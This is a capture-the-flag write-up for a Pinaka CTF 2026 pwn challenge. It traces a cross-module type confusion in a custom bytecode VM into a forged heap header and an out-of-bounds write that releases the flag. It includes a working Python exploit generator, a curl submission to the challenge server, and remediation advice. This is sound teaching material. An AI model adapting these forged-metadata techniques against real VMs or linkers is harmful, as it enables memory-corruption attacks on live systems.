Binary Exploitation / Pinaka CTF 2026
Bhargav’s Challenge: The Bow Beyond the Bow
Trace a cross-module type confusion into forged heap metadata and an out-of-bounds write that releases the protected ASTRA result.
Category: Pwn / Reverse Engineering (custom VM)
Target: https://pinaka-m06-bhargava-challenge.onrender.com
Flag:
PINAKA{the_sharnga_strung_upon_the_pinaka_looses_the_vaishnava_astra}1. Overview
The player package contains a native host and two sample modules:
| File | Purpose |
|---|---|
host | x86-64 ELF that parses both module formats, links them, verifies and executes bytecode |
samples/bow_demo.pnk1 | valid gen1 module |
samples/bow_demo.srng | valid gen2 module |
The host reads a PNK1 ("Pinaka", gen1) module and an SRNG ("Sharnga", gen2) module. It statically verifies each, runs gen1, links gen1's exports into gen2's imports, then runs gen2 over the same memory arena.
The goal is to make the ASTRA opcode release the flag:
PINAKA-ASTRA-RELEASED PINAKA{...}The string PINAKA{the_bow_is_not_strung_by_looking_at_it} inside the binary is a decoy. The real flag comes from the host's PINAKA_FLAG environment variable.
2. Host internals
host is a non-stripped PIE. The relevant functions are:
| Symbol | Role |
|---|---|
main | parses both modules, invokes the verifier and linker |
verify_code | static slot-type checker |
run_code.isra.0 | bytecode interpreter over a shared arena |
It accepts either:
host gen1.pnk1 gen2.srngor a combined blob on stdin: 4-byte little-endian len1, gen1 bytes, 4-byte len2, gen2 bytes.
2.1 Shared arena
main allocates one shared arena with calloc(0x80008, 1). The arena is addressed as an array of 64-bit cells.
At byte offset 0x80000 the host keeps a 32-bit heap top, initialized to 0x40 (in qword units).
An allocation is laid out as:
arena[handle] = length (object header)
arena[handle + 1] = data[0]
...
arena[handle + len] = data[len-1]ALLOC advances the heap top to handle + length + 1.
2.2 ASTRA opcode
Opcode 8 checks:
arena[0x7fc00] == 0x5348415247410001Byte offset 0x7fc00 is qword index 0xFF80.
ALLOC enforces new_top <= 0xFF80, so ordinary allocated objects can only write indices below 0xFF80. ASTRA sits exactly one qword beyond the maximum legal allocation end. The exploit is to bypass this one-qword boundary with a forged object header.
If the check succeeds, run_code returns 1, and main prints:
printf("PINAKA-ASTRA-RELEASED %s\n", getenv("PINAKA_FLAG"));3. Module formats
Both formats use an 8-byte instruction encoding:
| Offset | Size | Field |
|---|---|---|
| 0 | 1 | opcode |
| 1 | 1 | operand A (dst / base) |
| 2 | 1 | operand B (src / index) |
| 3 | 1 | operand C (src2 / value) |
| 4 | 4 | signed little-endian immediate / constant index |
Slot types used by the verifier:
| Value | Type |
|---|---|
1 | INT |
2 | PTR |
other / 0 | untyped / unused |
3.1 PNK1 (gen1)
Header, 16 bytes:
| Offset | Type | Meaning |
|---|---|---|
0x00 | 4 bytes | magic PNK1 |
0x04 | u16 | version = 1 |
0x06 | u16 | A = slot-count / type-block length |
0x08 | u16 | B = constant count |
0x0a | u16 | C = instruction count |
0x0c | u16 | D = export count |
0x0e | u16 | reserved / ignored |
Body, in order:
A bytes slot types, one byte per slot
B * 8 bytes uint64 little-endian constants
C * 8 bytes instruction records
D * 10 bytes exports: 8-byte name + u16 slotTotal size: 16 + A + 8B + 8C + 10D.
3.2 SRNG (gen2)
Header, 16 bytes:
| Offset | Type | Meaning |
|---|---|---|
0x00 | 4 bytes | magic SRNG |
0x04 | u16 | version = 2 |
0x06 | u16 | F = type-alphabet length |
0x08 | u16 | G = slot count |
0x0a | u16 | H = constant count |
0x0c | u16 | I = import count |
0x0e | u16 | J = instruction count |
Body, in order:
F bytes type alphabet
G * 2 bytes u16 indices into the alphabet, one per slot
H * 8 bytes uint64 little-endian constants
I * 10 bytes imports: 8-byte name + u16 slot
J * 8 bytes instruction recordsTotal size: 16 + F + 2G + 8H + 10I + 8J.
For example, the sample gen2 uses alphabet [1, 2] and slot indices [0, 1, 0, 0], yielding slot types [INT, PTR, INT, INT].
4. VM instruction set
| Opcode | Mnemonic | Semantics |
|---|---|---|
0 | HALT | stop, return 0 |
1 | LDC dst, cidx | slots[dst] = constants[cidx] (dst must be INT) |
2 | MOV dst, src | slots[dst] = slots[src] (types must match) |
3 | ADD dst, src1, src2 | slots[dst] = slots[src1] + slots[src2] (all INT) |
4 | ALLOC dst, cidx | allocate constants[cidx] bytes; slots[dst] = handle (dst PTR) |
5 | LOAD dst, base, idx | slots[dst] = arena[slots[base] + 1 + slots[idx]] |
6 | STORE base, idx, val | arena[slots[base] + 1 + slots[idx]] = slots[val] |
7 | invalid | fault |
8 | ASTRA | if magic is present at arena index 0xFF80, return 1 |
Static checks enforced by verify_code:
- Every referenced slot index is within range.
LDCconstant index is within range, destination isINT.MOVsource and destination have the same declared type.ADDoperands and destination areINT.ALLOCdestination isPTR.LOADdestination isINT, base isPTR, index isINT.STOREbase isPTR, index and value areINT.
Runtime checks enforced by run_code:
ALLOC: length must be non-negative andheaptop + length + 1 <= 0xFF80.LOAD/STORE: base handle must be<= 0xffff, index must be within the header's length, andbase + index + 1 <= 0xffff.
5. The linking bug
After running gen1, main builds gen2's initial slot state by matching import names against gen1's export names:
gen2 import "name" -> slot S
gen1 export "name" -> slot T
gen2_slots[S] = gen1_slots[T]
gen2_mask[S] = 1The link copies the raw 64-bit value and does not check types across the module boundary. This is the key bug.
Within one module, the verifier prevents loading an arbitrary integer into a PTR slot. Across the link, however, gen1 can export an INT constant, and gen2 can declare the corresponding import slot as PTR. The arbitrary integer becomes a usable pointer handle.
6. Exploit strategy
We need to write the magic value at arena index 0xFF80 and execute ASTRA.
Normal allocation is capped such that no allocated object reaches 0xFF80. But STORE trusts the object header at arena[base]. If we can forge an object header at 0xFF7F with length 1, then:
arena[0xFF7F + 1 + 0] = arena[0xFF80]is a perfectly valid STORE as far as the interpreter is concerned.
Plan:
- gen1 exports the arbitrary handle
0xFF7Fas anINTvalue. - gen2 declares its import slot as
PTR, receiving0xFF7Ffrom the linker. - Allocate one object with length
0xFF3Fat handle0x40.- Data spans
0x41 .. 0xFF7F. - New heap top becomes
0xFF80, exactly the maximum allowed.
- Data spans
- Store the value
1at data index0xFF3E.- Absolute index:
0x40 + 1 + 0xFF3E = 0xFF7F. - This forges an object header at handle
0xFF7Fwith length1.
- Absolute index:
- Store the ASTRA magic
0x5348415247410001through the forged object:- base
0xFF7F, index0, value magic. - Absolute index:
0xFF7F + 1 + 0 = 0xFF80.
- base
- Execute opcode
8. The check succeeds and the flag is released.
6.1 gen1 module
Only needs to export 0xFF7F:
slots: [ INT ]
types: 1
consts: [ 0xFF7F ]
code:
LDC slot0, const0
HALT
exports:
"ptr\0\0\0\0\0" -> slot06.2 gen2 module
alphabet: [ 1 (INT), 2 (PTR) ]
slots: [ PTR import, PTR allocated, INT index, INT one, INT magic, INT zero ]
indices: [ 1, 1, 0, 0, 0, 0 ]
consts:
0: 0xFF3F
1: 0xFF3E
2: 1
3: 0x5348415247410001
4: 0
imports:
"ptr\0\0\0\0\0" -> slot0
code:
ALLOC slot1, const0 # length 0xFF3F at handle 0x40
LDC slot2, const1 # 0xFF3E
LDC slot3, const2 # 1
STORE base=slot1, index=slot2, val=slot3
# arena[0xFF7F] = 1 (forged length)
LDC slot4, const3 # ASTRA magic
LDC slot5, const4 # 0
STORE base=slot0, index=slot5, val=slot4
# arena[0xFF80] = magic
ASTRA
HALT7. Generator
#!/usr/bin/env python3
import struct
def pnk1(consts, instrs, types, exports):
A, B, C, D = len(types), len(consts), len(instrs), len(exports)
out = bytearray()
out += b"PNK1" + struct.pack("<HHHHHH", 1, A, B, C, D, 0)
out += types
for c in consts:
out += struct.pack("<Q", c & (2**64 - 1))
for ins in instrs:
assert len(ins) == 8
out += ins
for name, slot in exports:
assert len(name) == 8
out += name + struct.pack("<H", slot)
return bytes(out)
def srng(alphabet, slot_types, consts, imports, instrs):
F, G = len(alphabet), len(slot_types)
H, I, J = len(consts), len(imports), len(instrs)
out = bytearray()
out += b"SRNG" + struct.pack("<HHHHHH", 2, F, G, H, I, J)
out += alphabet
for t in slot_types:
out += struct.pack("<H", t)
for c in consts:
out += struct.pack("<Q", c & (2**64 - 1))
for name, slot in imports:
assert len(name) == 8
out += name + struct.pack("<H", slot)
for ins in instrs:
assert len(ins) == 8
out += ins
return bytes(out)
# gen1: export INT 0xFF7F under the name "ptr"
g1_types = bytes([1])
g1_consts = [0xFF7F]
g1_instrs = [
bytes([1, 0, 0, 0]) + struct.pack("<i", 0), # LDC slot0, const0
bytes(8), # HALT
]
g1_exports = [(b"ptr\0\0\0\0\0", 0)]
open("exploit.pnk1", "wb").write(
pnk1(g1_consts, g1_instrs, g1_types, g1_exports)
)
MAGIC = 0x5348415247410001
g2_alphabet = bytes([1, 2]) # 1 = INT, 2 = PTR
g2_slot_types = [1, 1, 0, 0, 0, 0] # PTR, PTR, INT, INT, INT, INT
g2_consts = [0xFF3F, 0xFF3E, 1, MAGIC, 0]
g2_imports = [(b"ptr\0\0\0\0\0", 0)]
g2_instrs = [
bytes([4, 1, 0, 0]) + struct.pack("<i", 0), # ALLOC slot1, const0
bytes([1, 2, 0, 0]) + struct.pack("<i", 1), # LDC slot2, const1
bytes([1, 3, 0, 0]) + struct.pack("<i", 2), # LDC slot3, const2
bytes([6, 1, 2, 3]) + struct.pack("<i", 0), # forge header at 0xFF7F
bytes([1, 4, 0, 0]) + struct.pack("<i", 3), # LDC slot4, magic
bytes([1, 5, 0, 0]) + struct.pack("<i", 4), # LDC slot5, 0
bytes([6, 0, 5, 4]) + struct.pack("<i", 0), # write magic at 0xFF80
bytes([8, 0, 0, 0]) + struct.pack("<i", 0), # ASTRA
bytes(8), # HALT
]
open("exploit.srng", "wb").write(
srng(g2_alphabet, g2_slot_types, g2_consts, g2_imports, g2_instrs)
)
print("wrote exploit.pnk1 and exploit.srng")Local test:
$ PINAKA_FLAG='PINAKA{test_flag_works}' ./host exploit.pnk1 exploit.srng
PINAKA-ASTRA-RELEASED PINAKA{test_flag_works}
8. Submission
python3 /tmp/opencode/make_bow.py
G1=$(base64 -w0 exploit.pnk1)
G2=$(base64 -w0 exploit.srng)
curl -sS -X POST \
'https://pinaka-m06-bhargava-challenge.onrender.com/bhargava/string-the-bow' \
-H 'Content-Type: application/json' \
--data "{\"gen1_b64\":\"$G1\",\"gen2_b64\":\"$G2\"}"Response:
{
"flag": "PINAKA{the_sharnga_strung_upon_the_pinaka_looses_the_vaishnava_astra}",
"host_output": "PINAKA-ASTRA-RELEASED PINAKA{the_sharnga_strung_upon_the_pinaka_looses_the_vaishnava_astra}",
"proclamation": "Parashurama lowers the Sharnga: the bow is strung",
"status": "astra-released"
}9. Root cause
This is a cross-module type confusion that becomes a heap metadata forgery:
- The linker copies raw slot values from gen1 exports into gen2 imports without checking that the source and destination slot types agree.
- gen1 can therefore hand gen2 an arbitrary 64-bit value that gen2 treats as a
PTRhandle. STOREtrusts the object length stored in the arena and does not validate object metadata or allocation provenance.- ASTRA is placed one qword beyond the maximum allocatable range, which invites exactly this kind of forged-header write past the heap limit.
Remediation
- Enforce matching slot types across the module link boundary.
- Store heap metadata separately from object contents, or tag/validate object headers.
- Check that a
STORE/LOADbase handle refers to a genuine live allocation, not an arbitrary arena cell. - Place the ASTRA sentinel outside the writable arena, or make it unreachable through normal memory operations.
- Consider a capability-style pointer representation instead of raw integer handles.